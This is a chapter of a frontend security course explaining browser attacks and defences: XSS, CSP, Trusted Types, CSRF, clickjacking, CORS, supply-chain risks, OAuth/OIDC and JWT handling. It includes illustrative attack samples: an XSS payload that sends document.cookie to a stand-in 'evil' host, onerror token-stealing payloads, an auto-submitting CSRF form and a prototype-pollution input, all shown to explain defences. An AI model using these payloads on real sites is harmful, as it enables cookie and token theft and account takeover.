FE·28
Frontend Security
The browser-side attack surface and its defences: XSS and DOM XSS, CSRF, clickjacking, CSP, CORS, Trusted Types, prototype pollution, open redirects, dependency and supply-chain attacks, and authentication: sessions, OAuth 2.0, OpenID Connect, PKCE, token handling, JWTs and refresh tokens.
Start here: keeping users safe in the browser
Think like an attacker
Your frontend runs on the user's device, mixes your code with other people's (libraries, ads, analytics, browser extensions), shows content from users who may be hostile, and holds the keys to the user's account. Security work starts by asking what an attacker wants and how they could get it:
- Run their code inside your site (cross-site scripting), so it acts with the user's identity and can read the page.
- Trick the user's browser into acting for them on your site (cross-site request forgery, clickjacking).
- Steal credentials or tokens that let them act as the user later.
- Poison something you depend on (an npm package, a CDN script) so their code ships inside yours.
The browser's same-origin policy (chapter 12) already protects against most things; nearly every frontend vulnerability is a way around it. And remember the rule from chapter 13: anything the frontend checks, the server must check again. Frontend security protects users; it never protects the server.
XSS: the attacker's script inside your page
Cross-site scripting (XSS) happens when text an attacker controls is treated as code. A search page that echoes the search term with innerHTML:
const q = new URLSearchParams(location.search).get("q") ?? "";
document.getElementById("r").innerHTML = "Results for " + q; // the bug
An attacker sends a victim a link whose q contains an "image" with an error handler:
/search?q=<img src=x onerror="stolen.push('cookie=' + document.cookie, 'token=' + localStorage.getItem('accessToken'))">
What the attacker's code managed to read, in each version of the page:
vulnerable (innerHTML): attacker got: ["cookie=theme=dark", "token=eyJhbGciOi...secret"]
safe (textContent): attacker got: [] shown: "Results for <img src=x onerror=…"
vulnerable page + strict CSP: attacker got: [] CSP report: script-src-attr blocked inline
On the vulnerable page, the attacker's script ran as your site: it read the non-HttpOnly cookie and the access token in localStorage, and could just as easily have changed the user's email address or made a purchase. The session cookie, marked HttpOnly, was invisible to it, which is why session cookies should always have that flag.
The defences, in order of importance:
- Treat data as text. Use
textContentand DOM methods; let your framework escape output (React's{}, Angular's{{ }}and Vue's{{ }}all do). Avoid the escape hatches (dangerouslySetInnerHTML,[innerHTML]with bypassed sanitisation,v-html) or sanitise first with DOMPurify or the browser's newsetHTML(). - Validate URLs you put in
hreforsrc: ajavascript:URL is code. - Add a Content Security Policy (CSP) as a second line of defence: a response header that tells the browser which scripts may run. With
script-src 'nonce-…', only<script>tags carrying the page's random nonce run; injected inline handlers are blocked, as the third line above shows.
CSRF: borrowing the user's cookies
Cross-site request forgery makes the user's browser send a request to your site from another site, carrying the user's cookies automatically: a hidden form on a malicious page that POSTs to /transfer. Chapter 19's lab showed the modern defence working: with SameSite=Lax (the browser default) or Strict cookies, the cross-site form POST arrived without the session cookie, so the server didn't know who it was from. Add a CSRF token or check the Origin/Sec-Fetch-Site headers on the server for anything that changes data, and never change data on a GET.
Clickjacking: an invisible frame under the user's finger
A malicious page loads your page in a transparent <iframe> and positions your "Transfer ₹50,000" button under its own "Win a free phone!" button. The user thinks they're clicking one and clicks the other. The defence is one response header saying who may frame your pages:
Content-Security-Policy: frame-ancestors 'none' (or 'self', or a list of trusted sites)
bank page without frame-ancestors, framed by another site → frame shows "Transfer ₹50,000"
bank page with frame-ancestors 'none' → chrome-error://chromewebdata/ (refused to render)
Where to keep tokens
Logging in gives the browser a credential. Where it lives decides what an XSS bug can do with it:
| Storage | Readable by injected script? | Sent automatically? | Notes |
|---|---|---|---|
HttpOnly; Secure; SameSite cookie |
no | yes, to your site | the safest default for sessions |
localStorage / sessionStorage |
yes | no | XSS can steal it and use it anywhere, later |
| memory (a JavaScript variable) | yes, while the page is open | no | lost on reload; often paired with a refresh cookie |
Note what HttpOnly does and doesn't do: injected script can't steal the cookie, but while it runs it can still make requests from the page that carry it. Preventing XSS stays the main job; HttpOnly limits the damage.
Your dependencies are your code
A typical frontend installs hundreds of npm packages; any of them runs with the same power as your own code. npm audit checks the versions you've installed against public advisories. For an old project pinned to lodash@4.17.15 and axios@0.21.0:
$ npm audit
axios <=0.32.0
Severity: high
Axios vulnerable to Server-Side Request Forgery - https://github.com/advisories/GHSA-4w2v-q235-vp99
… (25 advisories for this axios version)
lodash <=4.17.23
Severity: high
Prototype Pollution in lodash - https://github.com/advisories/GHSA-p6mc-m468-83gw
… (6 advisories)
2 high severity vulnerabilities
To address all issues, run:
npm audit fix
Keep dependencies updated (Dependabot or Renovate), commit the lockfile (it pins exact versions and their integrity hashes, so a tampered package fails to install), add fewer dependencies, and load third-party scripts from your own build rather than a live CDN, or with Subresource Integrity (<script src="…" integrity="sha384-…">) so a changed file is refused.
How deep to go in frontend security
Volume 17 defines six mastery levels. For this chapter they look like this; the chapter aims at L3 everywhere, and its lab at L4.
| Level | What you can do |
|---|---|
| L1 | Explain XSS, CSRF, clickjacking, token storage risks and supply-chain risk |
| L2 | Write code that escapes output, sanitises HTML, sets secure cookies and security headers, and keeps dependencies patched |
| L3 | Explain CSP (nonces, hashes, strict-dynamic), Trusted Types, SameSite and Fetch Metadata, CORS, COOP/COEP, OAuth/OIDC with PKCE |
| L4 | Find DOM XSS sources and sinks, read CSP violation reports, audit token handling and third-party scripts |
| L5 | Design authentication flows, header policies and dependency governance for a product |
| L6 | Run security at scale: CSP rollout with reporting, SCA in CI, incident response, bug bounties, compliance |
Injection in the browser
The threat model
Frontend security starts from three facts:
- All client code and data are visible and modifiable by the user. Anything in the bundle is public, including API keys, and anything sent from the client can be forged. Authorisation and validation always happen on the server.
- Your page runs in a shared, hostile environment: other sites' pages in other tabs, browser extensions, third-party scripts you included, and network attackers on coffee-shop Wi-Fi without HTTPS.
- The browser trusts your origin (chapter 12). Script running on your origin can read your DOM, call your APIs with the user's cookies, and read anything your page can. So the most valuable attack is getting the attacker's code to run as your origin: XSS.
The OWASP Top 10 (2025 edition) and the OWASP Cheat Sheet Series are the references. Vol. 10 of this roadmap (Security) covers the backend and infrastructure side.
XSS: cross-site scripting
Cross-site scripting happens when attacker-controlled data is interpreted as code in your page. Once their script runs as your origin, they can steal data visible to the user, perform any action the user can (transfer money, change email, add an SSH key), capture keystrokes and credentials (fake login prompts on your real domain), read tokens stored in localStorage, and spread (a worm, as with Samy on MySpace in 2005).
| Type | Where the payload lives | Example |
|---|---|---|
| Stored | Saved on the server and served to other users | A comment containing <img src=x onerror="fetch('//evil/?c='+document.cookie)"> rendered unescaped |
| Reflected | In the request, echoed in the response | /search?q=<script>…</script> printed into the HTML by a server template |
| DOM-based | Handled entirely client-side: a source flows into a dangerous sink in JS | el.innerHTML = location.hash.slice(1) |
The root cause is always mixing data and code without proper encoding for the context. The same string needs different encoding depending on where it lands:
| Context | Example | Encode / defend with |
|---|---|---|
| HTML text | <p>USER</p> |
HTML-escape & < > " ' (frameworks do this automatically) |
| HTML attribute | <input value="USER"> |
Attribute-escape and always quote attributes |
URL in href/src |
<a href="USER"> |
Validate the scheme (allow-list https:, mailto:): javascript:alert(1) is a valid URL |
| JavaScript | <script>var x = "USER"</script> |
Avoid. Pass data via JSON in a data- attribute or <script type="application/json"> and parse it |
| CSS | style="color: USER" |
Avoid. Allow-list values |
| HTML you must render (rich text, markdown output) | innerHTML = userHtml |
Sanitise with DOMPurify (allow-list tags and attributes), or the Sanitizer API's setHTML |
Framework escaping and its escape hatches
Modern frameworks escape by default, which eliminates most XSS:
- React:
{userInput}is always text. Escape hatches:dangerouslySetInnerHTML,href={userUrl}(React 19 blocksjavascript:URLs, but other dangerous schemes need checking), and passing user data intoref.current.innerHTML. - Angular: interpolation and property bindings are escaped, and
[innerHTML]is automatically sanitised. Escape hatches:DomSanitizer.bypassSecurityTrustHtml/Url/ResourceUrl(every call is a potential vulnerability that needs review), andElementRef.nativeElement.innerHTML. - Vue:
{{ }}escapes, whilev-htmldoesn't. - Server templates (Thymeleaf
th:textversusth:utext, Gohtml/template, which is context-aware and auto-escapes, unliketext/template, and Rust Askama or Tera) escape by default, with raw-output escape hatches.
Grep your codebase for the escape hatches and justify each one. That's where XSS lives in modern apps.
DOM XSS: sources and sinks
DOM XSS happens entirely in client-side JavaScript. It's often invisible to server-side scanners and WAFs, because the payload may sit in the URL fragment, which is never sent to the server.
- Sources (attacker-influenced):
location(hash,search,href),document.referrer,postMessagedata,window.name,localStorage/sessionStorage(if attacker-writable), API responses containing user content, URL parameters parsed by your router. - Sinks (execute or interpret strings):
innerHTML,outerHTML,insertAdjacentHTML,document.write,eval,new Function,setTimeout("string"),script.src,iframe.srcdoc,location = …/hrefwithjavascript:,element.setAttribute("on…"), jQuery's$(html)and.html().
// ❌ DOM XSS
const name = new URLSearchParams(location.search).get("name");
greeting.innerHTML = `Hello ${name}`; // ?name=<img src=x onerror=alert(document.domain)>
// ✅ Fix: treat it as text
greeting.textContent = `Hello ${name}`;
// ❌ postMessage without checking the origin
window.addEventListener("message", (e) => { panel.innerHTML = e.data.html; });
// ✅
window.addEventListener("message", (e) => {
if (e.origin !== "https://widgets.example.com") return; // verify the sender
panel.textContent = String(e.data.text); // and treat data as data
});
// ✅ Rendering user-supplied HTML (e.g. markdown → HTML) safely
import DOMPurify from "dompurify";
article.innerHTML = DOMPurify.sanitize(markdownToHtml(userMarkdown), { USE_PROFILES: { html: true } });
Trusted Types (covered below) turns these sinks into compile-time-like checkpoints across the whole app.
CSP: Content Security Policy
Content Security Policy is an HTTP response header that tells the browser which sources of script, style, images, frames and connections are allowed. It's a second line of defence: even if an XSS bug injects <script>, a strict CSP stops it from executing.
The modern recommendation is a strict CSP based on nonces (or hashes), not host allow-lists, which are easy to bypass through JSONP endpoints or CDNs hosting attacker-controlled files:
Content-Security-Policy:
script-src 'nonce-r4nd0mB4se64' 'strict-dynamic' https: 'unsafe-inline'; # nonce-based; the fallbacks are ignored by modern browsers
object-src 'none';
base-uri 'none';
frame-ancestors 'self'; # clickjacking protection (below)
form-action 'self';
require-trusted-types-for 'script'; # Trusted Types enforcement
report-to csp-endpoint
<!-- The server generates a fresh, unguessable nonce per response and adds it to every legitimate script -->
<script nonce="r4nd0mB4se64" src="/app.js"></script>
<script nonce="r4nd0mB4se64">window.__CONFIG__ = {…}</script>
<!-- An injected <script>alert(1)</script> has no nonce → blocked -->
'strict-dynamic'lets scripts that you trust (nonced) load further scripts, which bundlers and loaders need, without allow-listing hosts.- Inline event handlers (
onclick="…") andjavascript:URLs are blocked, which is good. Refactor them toaddEventListener. - Static sites can't generate per-request nonces, so they use hashes (
'sha256-…') of inline scripts. Frameworks support nonces (Next.js middleware/proxy, Angular'sngCspNonce/CSP_NONCE, Nuxt security modules). - Roll out with
Content-Security-Policy-Report-Onlyfirst, collect violation reports, fix them, then enforce. - Other useful directives:
connect-src(which originsfetchand WebSockets may reach, which limits exfiltration),img-src,style-src,frame-src, andupgrade-insecure-requests. - Test your policy with Google's CSP Evaluator.
Trusted Types
Trusted Types (Chromium, Safari 26+; Firefox implementation in progress) makes dangerous DOM sinks reject plain strings. With require-trusted-types-for 'script' in the CSP, el.innerHTML = "…" throws a TypeError unless the value is a TrustedHTML object created by a policy you've vetted:
// One audited place where strings become trusted
const sanitizerPolicy = trustedTypes.createPolicy("default-sanitizer", {
createHTML: (input) => DOMPurify.sanitize(input),
createScriptURL: (url) => {
const u = new URL(url, location.origin);
if (u.origin === location.origin || u.origin === "https://cdn.example.com") return u.href;
throw new TypeError(`Untrusted script URL: ${url}`);
},
});
article.innerHTML = sanitizerPolicy.createHTML(userHtml); // ✓
article.innerHTML = userHtml; // ✗ TypeError under enforcement
That shrinks the security review for DOM XSS from "every innerHTML anywhere in the app and its dependencies" to "the few policy definitions". Google has reported that Trusted Types effectively eliminated DOM XSS in the applications that adopted it. Frameworks integrate with it: Angular supports Trusted Types, and React 19 passes TrustedHTML through dangerouslySetInnerHTML (chapter 22). Lit and others do too. You can name allowed policies with trusted-types my-policy dompurify.
Prototype pollution
Prototype pollution is a JavaScript-specific bug. An attacker injects a property onto Object.prototype (or another shared prototype) through unsafe merging or cloning of attacker-controlled objects, so every object in the app inherits it (chapter 15's prototype chain):
// A naive deep merge
function merge(target, source) {
for (const key in source) {
if (typeof source[key] === "object") merge(target[key] ??= {}, source[key]);
else target[key] = source[key];
}
return target;
}
merge({}, JSON.parse('{"__proto__": {"isAdmin": true}}'));
({}).isAdmin; // true: EVERY object now looks like an admin
Consequences range from logic bypasses (if (user.isAdmin)) to XSS, when polluted properties reach DOM sinks through library options ("script gadgets"), and remote code execution in Node (options passed to child_process). Defences:
- Reject the dangerous keys
__proto__,constructorandprototypein merges, path setters (set(obj, "a.b.c", v)) and query-string parsers. Use maintained libraries that do this. - Use
Object.create(null)for dictionaries (no prototype at all), orMapfor attacker-controlled keys. - Validate input with schemas (Zod's strict objects strip unknown keys, chapter 16).
- Freeze prototypes in high-security contexts (
Object.freeze(Object.prototype)), and use Node's--disable-proto=delete.
Open redirects
An open redirect is an endpoint that redirects to any URL taken from user input: /login?next=https://evil.example. Attackers use your trusted domain in phishing links ("sign in at bank.example…", which then lands on a lookalike), to bypass URL allow-lists, and to steal OAuth codes or tokens when the redirect is part of an OAuth flow.
// ❌
location.href = new URLSearchParams(location.search).get("next");
// ✅ Allow only same-origin relative paths
function safeNext(raw) {
try {
const u = new URL(raw ?? "/", location.origin);
return u.origin === location.origin ? u.pathname + u.search + u.hash : "/";
} catch { return "/"; }
}
// Beware tricks: "//evil.com" (protocol-relative), "/\\evil.com", "https:evil.com", "javascript:…" — URL parsing handles them
The same check belongs on the server. Spring Security's saved-request logic and OAuth redirect URIs must be exact-match allow-listed (below).
Cross-site attacks
CSRF: cross-site request forgery
CSRF abuses the browser's automatic sending of cookies (chapter 19). An evil page makes the user's browser send a request to your site, the browser attaches the user's session cookie, and your server performs the action as the user:
<!-- On evil.example: auto-submits a POST to bank.example with the victim's cookies attached -->
<form action="https://bank.example/transfer" method="POST" id="f">
<input name="to" value="attacker"><input name="amount" value="50000">
</form>
<script>document.getElementById("f").submit()</script>
The attacker can't read the response (the same-origin policy), but the damage is already done. Defences, layered:
SameSite=Lax(orStrict) cookies (chapter 19): cross-site POSTs, fetches and iframes don't carry the cookie. This is the default in modern browsers for cookies without the attribute, and it stops most CSRF. It doesn't protect against same-site attackers (a compromisedblog.example.comattackingbank.example.com) or state-changing GET endpoints.- Anti-CSRF tokens: a random per-session (or per-form) token that the server embeds in forms or exposes to the SPA, and verifies on every state-changing request. A cross-site attacker can't read it. Variants include the synchroniser token (server-stored) and the signed double-submit cookie. Spring Security has CSRF protection on by default (
CookieCsrfTokenRepositoryfor SPAs, read by Angular'sHttpClientXSRF support automatically). - Check
Origin/Sec-Fetch-Siteheaders on state-changing requests. Browsers send these, and a page can't forge them. RejectingSec-Fetch-Site: cross-sitefor non-GET requests is a strong, simple defence (Fetch Metadata resource isolation). - Never change state on GET (chapter 19: GET is safe).
- Custom headers or JSON content types force a CORS preflight (chapter 19), which cross-origin attackers can't pass. That helps, but don't rely on it alone.
- Re-authentication for critical actions (changing a password or email, large payments).
APIs authenticated with bearer tokens in an Authorization header aren't vulnerable to classic CSRF (nothing is sent automatically), but storing those tokens in JavaScript exposes them to XSS (see token handling below).
Clickjacking
Clickjacking loads your page in an invisible <iframe> on an attacker's page, positioned so the user thinks they're clicking the attacker's "Play" button while actually clicking your "Delete account" or "Authorise app" button. Defences:
Content-Security-Policy: frame-ancestors 'self' https://partner.example.com # modern, flexible
X-Frame-Options: DENY # legacy fallback (DENY or SAMEORIGIN)
Set frame-ancestors 'none' (or 'self') on every page unless it's designed to be embedded. For embeddable widgets, put sensitive actions behind a confirmation in a top-level window. The Intersection Observer v2 visibility checks help detect obscured iframes.
CORS misconfiguration
Chapter 19 explained CORS. As a security issue, the dangerous misconfigurations are:
- Reflecting any
OrigininAccess-Control-Allow-OriginwithAllow-Credentials: true. Any website can then read authenticated API responses from a logged-in user's browser. That's a data breach waiting to happen. - Weak origin checks: regexes like
/example\.com/matchexample.com.evil.netandevilexample.com, andendsWith("example.com")matchesnotexample.com. Compare against an exact allow-list of origins. - Allowing
null(Access-Control-Allow-Origin: null): sandboxed iframes anddata:URLs have thenullorigin, so attackers can use them. - Trusting all subdomains when some subdomain can be taken over or hosts user content (an XSS on any allowed subdomain then reads your API).
CORS relaxes the same-origin policy. Every allowed origin is trusted with your users' data.
Cross-origin isolation headers
A family of response headers hardens your pages against cross-origin attacks, including Spectre-class side channels (Vol. 1 ch. 7; chapter 18):
| Header | Effect |
|---|---|
Cross-Origin-Opener-Policy: same-origin |
Severs window.opener with cross-origin pages, putting your page in its own browsing context group (and process). Defends against tabnabbing and XS-Leaks |
Cross-Origin-Embedder-Policy: require-corp (or credentialless) |
Your page may only load cross-origin resources that explicitly opt in (CORP or CORS) |
Cross-Origin-Resource-Policy: same-origin / same-site |
Your resources can't be embedded by other sites (a Spectre and leak defence for images, scripts and JSON) |
| COOP + COEP together | Cross-origin isolated: enables SharedArrayBuffer, precise timers and performance.measureUserAgentSpecificMemory() |
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload |
HSTS: the browser always uses HTTPS for your domain, preventing SSL-stripping downgrades. Submit to the preload list |
X-Content-Type-Options: nosniff |
No MIME sniffing: a JSON or text response can't be executed as script |
Referrer-Policy: strict-origin-when-cross-origin |
Don't leak full URLs (which may contain tokens) to other sites |
Permissions-Policy: camera=(), geolocation=(), payment=(self) |
Disable powerful features you don't use, including in embedded frames |
Check your headers with Mozilla's HTTP Observatory or securityheaders.com.
Supply chain
Dependency attacks
A typical frontend has hundreds to thousands of transitive npm dependencies. Each one runs code in your build (install scripts, bundler plugins) and often in your users' browsers. Real attacks have included:
- Malicious takeover of popular packages:
event-stream(2018, a targeted Bitcoin wallet stealer added by a new maintainer),ua-parser-js(2021, cryptominer and password stealer), and the September 2025 compromise ofchalk,debugand ~18 other packages (two billion weekly downloads) through a phished maintainer, which injected a crypto-wallet hijacker into browser code. That was followed by the self-replicating "Shai-Hulud" npm worm, which stole tokens and republished infected packages. - Typosquatting (
reqeust,crossenv) and dependency confusion (publishing your internal package name to the public registry so build tools fetch it). - Protestware: maintainers sabotaging their own packages (
node-ipc,colors/faker). - Compromised CDN-hosted scripts: Polyfill.io (2024) was bought by a new owner and began serving malware to 100,000+ sites that loaded
cdn.polyfill.io.
Supply chain security
Defences, from build to runtime:
| Area | Practice |
|---|---|
| Lockfiles | Commit them. Install with npm ci/pnpm install --frozen-lockfile in CI, so CI builds exactly the reviewed versions |
| Install scripts | Disable by default: pnpm 10 doesn't run dependencies' lifecycle scripts unless allow-listed (onlyBuiltDependencies); npm ci --ignore-scripts |
| Release age | Wait before adopting brand-new versions (pnpm minimumReleaseAge), since most malicious releases are detected within days |
| Auditing | npm audit / pnpm audit, Dependabot or Renovate (with grouping and review), Socket.dev (behavioural analysis: new network or filesystem access in an update), Snyk, GitHub dependency review |
| Minimise dependencies | Every package is attack surface. Prefer platform features (fetch, Intl, structuredClone) over micro-packages |
| Provenance and signing | npm provenance attestations (Sigstore) link a package to its source repo and CI build. Use trusted publishing (OIDC from CI, no long-lived npm tokens) for your own packages. Enforce 2FA for maintainers |
| Private registries / scoping | Scope internal packages (@acme/…), configure the registry per scope to block dependency confusion, and proxy through Artifactory/Verdaccio |
| Third-party scripts at runtime | Self-host instead of hot-linking CDNs. If you must load from a CDN, use Subresource Integrity: <script src="…" integrity="sha384-…" crossorigin>, so the browser refuses modified files. A strict CSP limits what injected scripts can do |
| SBOMs | Generate a software bill of materials (CycloneDX, SPDX) for each release, so you can answer "are we affected by CVE-X?" in minutes (Vol. 10) |
| CI hardening | Pin GitHub Actions to commit SHAs, use least-privilege tokens, and no secrets in PRs from forks |
Authentication
Sessions
Session-based authentication is the classic model, and still the most robust for browser apps:
- The user logs in (
POST /loginwith credentials, or through SSO). - The server creates a session: a random, unguessable ID mapped to server-side state (user ID, roles, expiry), stored in memory, Redis or a database.
- The server sets a cookie:
Set-Cookie: __Host-sid=…; Path=/; Secure; HttpOnly; SameSite=Lax. - The browser sends the cookie automatically, and the server looks up the session on each request.
- Logout deletes the server-side session, so revocation is immediate.
Session hygiene: regenerate the session ID on login (to prevent session fixation), set idle and absolute timeouts, invalidate sessions on password change, bind sensitive actions to re-authentication, and rate-limit login. Spring Session (with Redis) and most frameworks handle these. The weak points are CSRF (mitigated above) and scaling a shared session store (a non-issue with Redis).
OAuth 2.0
OAuth 2.0 (RFC 6749, and the consolidated OAuth 2.1 draft) is a delegated authorisation framework. It lets a user grant an application limited access to resources on another service without sharing their password: "allow PhotoPrinter to read your Google Photos". The roles:
- Resource owner: the user.
- Client: the application wanting access (your SPA, mobile app or backend).
- Authorization server (AS): issues tokens after authenticating the user and getting consent (Keycloak, Auth0/Okta, Entra ID, Cognito, Spring Authorization Server, Google).
- Resource server: the API that accepts access tokens (your Spring Boot API as an OAuth2 resource server, Vol. 3).
Tokens: an access token (short-lived, often 5–60 minutes, sent as Authorization: Bearer … to APIs, with scopes limiting what it allows) and a refresh token (longer-lived, used only with the authorisation server to get new access tokens).
Flows (grant types) in current best practice:
| Flow | For | Status |
|---|---|---|
| Authorization Code + PKCE | Every user-facing client: SPAs, mobile, server-side web apps | ✅ The standard |
| Client Credentials | Service-to-service (no user): a backend calling another backend | ✅ |
| Device Authorization | TVs, CLIs without browsers (gh auth login) |
✅ |
| Refresh Token | Getting new access tokens | ✅ With rotation for public clients |
| Implicit (tokens in the URL fragment) | Old SPAs | ❌ Deprecated: tokens leak through history, referrers and logs |
| Resource Owner Password Credentials | Apps collecting the user's password | ❌ Deprecated |
OpenID Connect
OAuth 2.0 is about authorisation (access to APIs). It doesn't tell the client who the user is. OpenID Connect (OIDC) is an identity layer on top of OAuth 2.0 that adds:
- The
openidscope, and an ID token: a JWT (below) signed by the provider, containing claims about the authentication event and the user:iss(issuer),sub(stable user ID),aud(your client ID),exp,iat,nonce,auth_time, and optionallyemail,name. - A UserInfo endpoint, discovery (
/.well-known/openid-configuration, which lists endpoints and keys), and JWKS (published public keys for verifying signatures). - Standard logout mechanisms.
"Sign in with Google/Microsoft/Apple" and enterprise SSO are OIDC (or SAML in older enterprise setups). The ID token is for the client to learn who logged in. Don't send ID tokens to APIs as access tokens. APIs accept access tokens with the right audience.
PKCE and the authorization code flow
The Authorization Code flow with PKCE (Proof Key for Code Exchange, RFC 7636, pronounced "pixy"):
- The client generates a random
code_verifierand its SHA-256 hash, thecode_challenge. - It redirects the browser to the AS's
/authorizeendpoint with the challenge, a randomstate(CSRF protection for the redirect), anonce(OIDC: replay protection for the ID token), the requested scopes, and an exactly registeredredirect_uri. - The user authenticates at the AS (passwords never touch your app) and consents.
- The AS redirects back with a one-time authorization code. The client checks that
statematches. - The client exchanges the code plus the
code_verifierat the/tokenendpoint. - The AS verifies that
SHA-256(verifier) == challenge. An attacker who intercepted the code (through a malicious app registered for the same redirect scheme on mobile, logs, or referrer leaks) doesn't have the verifier, so the code is useless to them. - The AS returns the tokens.
PKCE was invented for public clients (mobile and SPAs, which can't keep a client secret), and is now recommended for all clients, including confidential server-side ones (OAuth 2.1 makes it mandatory).
Token handling in browsers
Where do the tokens live? This is the central security decision for SPAs:
| Approach | XSS impact | CSRF | Notes |
|---|---|---|---|
Access token in localStorage |
Any XSS steals long-term tokens (exfiltrated and used elsewhere) | None | Simple; widely used; discouraged for sensitive apps |
| Access token in memory (JS variable), refresh via a rotating refresh token in an HttpOnly cookie | XSS can use the token while the page is open, but can't easily steal the refresh token | Refresh endpoint needs CSRF protection | A reasonable SPA-only compromise |
| BFF (backend for frontend): tokens stay on the server; the browser has only an HttpOnly, Secure, SameSite session cookie | XSS can make requests while the page is open, but can't steal tokens | Standard CSRF defences | ✅ Recommended by the IETF OAuth 2.0 for Browser-Based Apps BCP for most apps |
| Service-worker or web-worker token holders | Reduce exposure | Niche |
The BFF pattern fits the full-stack frameworks of chapter 24 naturally: the Next.js, Nuxt or SvelteKit server (or a Spring Cloud Gateway / Spring Boot BFF using oauth2Login + TokenRelay) performs the OAuth code flow as a confidential client, stores tokens in its server-side session, proxies API calls adding Authorization: Bearer, and refreshes tokens. The browser never sees a token.
Whatever you choose: keep access tokens short-lived, request minimal scopes, never put tokens in URLs, clear them on logout, and remember that XSS defeats every client-side token strategy for as long as the page is open. Preventing XSS (escaping, CSP, Trusted Types) comes first.
JWT
A JSON Web Token (RFC 7519) is a compact, URL-safe, signed set of claims: header.payload.signature, each part Base64url-encoded (Vol. 1 ch. 6):
eyJhbGciOiJFUzI1NiIsImtpZCI6ImsxIn0 ← header: {"alg":"ES256","kid":"k1"}
.eyJpc3MiOiJodHRwczovL2F1dGguZXhhbXBsZS5jb20iLCJzdWIiOiJ1XzQyIiwiYXVkIjoiYXBpIiwiZXhwIjoxNzk... ← payload (claims)
.MEUCIQ... ← signature over header.payload with the issuer's private key
Essential facts:
- Signed, not encrypted (JWS). Anyone can Base64-decode and read the payload, so never put secrets or sensitive personal data in it. (JWE adds encryption, and is rarely needed.)
- The signature proves the token was issued by the holder of the key and wasn't modified. Verify it with the issuer's public key (from JWKS), using asymmetric algorithms (RS256, ES256, EdDSA) so that resource servers can verify without being able to mint tokens.
- Validate every claim on the server: signature (with an allow-listed
alg, never trusting the header blindly: thealg: noneand RS/HS key-confusion attacks are classic JWT vulnerabilities),iss(issuer),aud(this token is meant for this API),exp/nbf(with a small clock-skew allowance), and scopes or roles for authorisation. Use a well-maintained library: Spring Security's resource server,josein JS,golang-jwt,jsonwebtokenin Rust. - Stateless verification is the benefit: an API can verify a JWT without a database or network call, which is useful for microservices. The cost is revocation: a valid JWT works until it expires. Mitigate with short lifetimes (minutes) + refresh tokens, a denylist of revoked token IDs (
jti) for emergencies, or token introspection for high-security endpoints. - JWTs are not sessions. Using long-lived JWTs in localStorage as a session replacement combines the worst properties: they're stealable by XSS and hard to revoke. Opaque session IDs or a BFF are usually better for browser apps.
Refresh tokens
Refresh tokens let clients get new short-lived access tokens without user interaction. Because they're long-lived and powerful, they need protection:
- Refresh token rotation: every use returns a new refresh token and invalidates the old one. If a stolen refresh token is used after the legitimate client has already rotated it, the AS detects reuse and revokes the whole token family, which forces a re-login.
- Sender-constrained tokens: DPoP (RFC 9449) binds tokens to a key pair held by the client (a non-extractable WebCrypto key, chapter 17). Every request includes a signed proof, so a stolen token is useless without the private key. mTLS binding plays the same role for confidential clients.
- Absolute and idle lifetimes, revocation on logout and password change, and storage in HttpOnly cookies or server-side (BFF), never in localStorage.
Passkeys and modern login
Passwords are the weakest link: they're phished, reused and leaked. Passkeys (FIDO2 / WebAuthn) replace them with public-key credentials stored in the platform authenticator (iCloud Keychain, Google Password Manager, Windows Hello, security keys). Their properties:
- Phishing-resistant: credentials are bound to the origin, so a lookalike domain simply can't use them.
- Nothing reusable on the server: the server stores only public keys, so a database breach leaks nothing that can log in.
- Built-in MFA: something you have (the device) plus biometrics or a PIN.
// Sign-in with passkey autofill (conditional UI) — options come from your server (challenge, rpId…)
const cred = await navigator.credentials.get({ mediation: "conditional", publicKey: await getOptionsFromServer() });
await fetch("/webauthn/verify", { method: "POST", body: JSON.stringify(serialise(cred)), headers: { "Content-Type": "application/json" } });
// <input autocomplete="username webauthn"> makes the browser offer passkeys in the username field (chapter 13)
Server libraries include SimpleWebAuthn (JS), Spring Security's WebAuthn support (6.4+), go-webauthn, and webauthn-rs. Most identity providers (Auth0, Keycloak, Entra) support passkeys directly. WCAG 2.2's Accessible Authentication criterion (chapter 20) also favours password managers and passkeys over cognitive tests.
Lab: defences, verified
Each defence below was tested against a deliberately vulnerable page served from localhost, in Chromium 153, so you can see exactly what it stops and what it doesn't. Recreate them only on machines and sites you control.
Experiment 1: three versions of the search page
The same reflected-XSS payload (an <img> whose onerror tries to read document.cookie and localStorage) against three versions of the page. The server set two cookies on every response, session=abc123; HttpOnly; SameSite=Lax and theme=dark, and the page had an access token in localStorage:
--- vulnerable (r.innerHTML = "Results for " + q)
shown: "Results for "
attacker got: ["cookie=theme=dark","token=eyJhbGciOi...secret"]
--- safe (r.textContent = "Results for " + q)
shown: "Results for <img src=x onerror=\"stolen.push('cookie=' + docu…"
attacker got: []
--- csp (still innerHTML, but with Content-Security-Policy: script-src 'nonce-…'; object-src 'none'; base-uri 'none')
shown: "Results for "
attacker got: []
CSP report: script-src-attr blocked inline
- Fixing the sink (
textContent) removed the vulnerability: the payload became visible text. - CSP didn't remove the vulnerability (the injected
<img>element still appeared in the DOM) but stopped the attacker's code from running, and fired asecuritypolicyviolationevent naming the directive. In production, areport-toendpoint collects those reports, which is how teams discover XSS bugs they didn't know about. A nonce must be random per response; a static nonce is a password printed on every page. - The
HttpOnlysession cookie never appeared in what the attacker could read, in any version.
A strict CSP is the policy Google and the OWASP cheat sheets recommend: script-src 'nonce-{random}' 'strict-dynamic'; object-src 'none'; base-uri 'none', rolled out first with Content-Security-Policy-Report-Only to find what would break. Allow-list policies (script-src https://cdn.example.com) are routinely bypassable through JSONP endpoints and script gadgets on the allowed hosts.
Experiment 2: Trusted Types locks the dangerous doors
With the header Content-Security-Policy: require-trusted-types-for 'script'; trusted-types dompurify, Chromium refuses any string assignment to DOM XSS sinks (innerHTML, outerHTML, insertAdjacentHTML, document.write, script src and text, eval) unless the value comes from an approved policy:
const input = '<img src=x onerror="alert(1)"><b>Masala dosa</b>';
el.innerHTML = input; // a plain string
el.setHTML(input); // the browser's Sanitizer API
el.innerHTML = DOMPurify.sanitize(input, { RETURN_TRUSTED_TYPE: true }); // DOMPurify 3, via its "dompurify" policy
trustedTypes.createPolicy("other", { createHTML: s => s }); // a policy not in the header's allow-list
raw string to innerHTML: TypeError: Failed to set the 'innerHTML' property on 'Element': This document requires 'TrustedHTML' assignment.
setHTML (Sanitizer API): <b>Masala dosa</b>
DOMPurify TrustedHTML: <img src="x"><b>Masala dosa</b>
creating an unlisted policy: TypeError: Failed to execute 'createPolicy' on 'TrustedTypePolicyFactory': Policy "other" disallowed.
